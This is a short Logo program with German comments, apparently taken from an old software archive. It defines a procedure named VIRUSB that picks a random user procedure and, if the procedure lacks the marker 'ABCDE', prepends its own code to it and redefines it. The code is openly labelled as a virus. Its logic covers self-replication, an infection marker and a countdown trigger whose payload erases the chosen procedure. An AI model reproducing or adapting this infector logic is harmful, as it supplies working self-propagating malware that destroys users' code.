home *** CD-ROM | disk | FTP | other *** search
- TO VIRUSBì
- LABEL "ABCDEì
- LOCAL "RAND ;ZUFALLSZAHL FUER WAHLì
- LOCAL "NAME ;NAME DES GEWAEHLTEN WORTESì
- LOCAL "KENN ;KENNUNG DES VIRUSì
- LOCAL "ANW_WORT ;ANWEISUNGEN DES WORTESì
- LOCAL "ANW_VIRUS ;ANWEISUNGEN DES VIRUSì
- LOCAL "PAR_LIST ;PARAMETERLISTE DES WORTESì
- LOCAL "DEF_NEU ;NEUE DEFINITION DES WORTES
-
- MAKE "RAND 1 + RANDOM COUNT PROCLIST ;LOGO-WORT AUSWAEHLEN ì
- MAKE "NAME ITEM :RAND PROCLIST ;NAMEN DES WORTES HOLENì
- MAKE "KENN FIRST BF FIRST BF TEXT :NAME ;KENNUNG HOLENì
- IF (NOT :KENN = ""ABCDE) [GO "INFIZ] ;NOCH NICHT INFIZIERT?
- MAKE "VIRUSVAR :VIRUSVAR-1 ;AUSLOESERVARIABLE HERUNTERSETZENì
- IF (:VIRUSVAR < 0) [ER :NAME STOP] ;AUSLOESERBEDINGUNG TESTENì
- GO "ENDE ;NICHT INFIZIEREN
- LABEL "INFIZì
- MAKE "PAR_LIST FIRST TEXT :NAME ;PARAMETERLISTE HOLENì
- MAKE "ANW_VIRUS BF TEXT "VIRUSB ;ANWEISUNGEN VON "VIRUSB HOLENì
- MAKE "ANW_WORT BF TEXT :NAME ;ANWEISUNGEN DES WORTES HOLENì
- MAKE "DEF_NEU FPUT :PAR_LIST (SE :ANW_VIRUS :ANW_WORT)
- DEFINE :NAME :DEF_NEU ;WORT NEU DEFINIEREN
- LABEL "ENDE
- END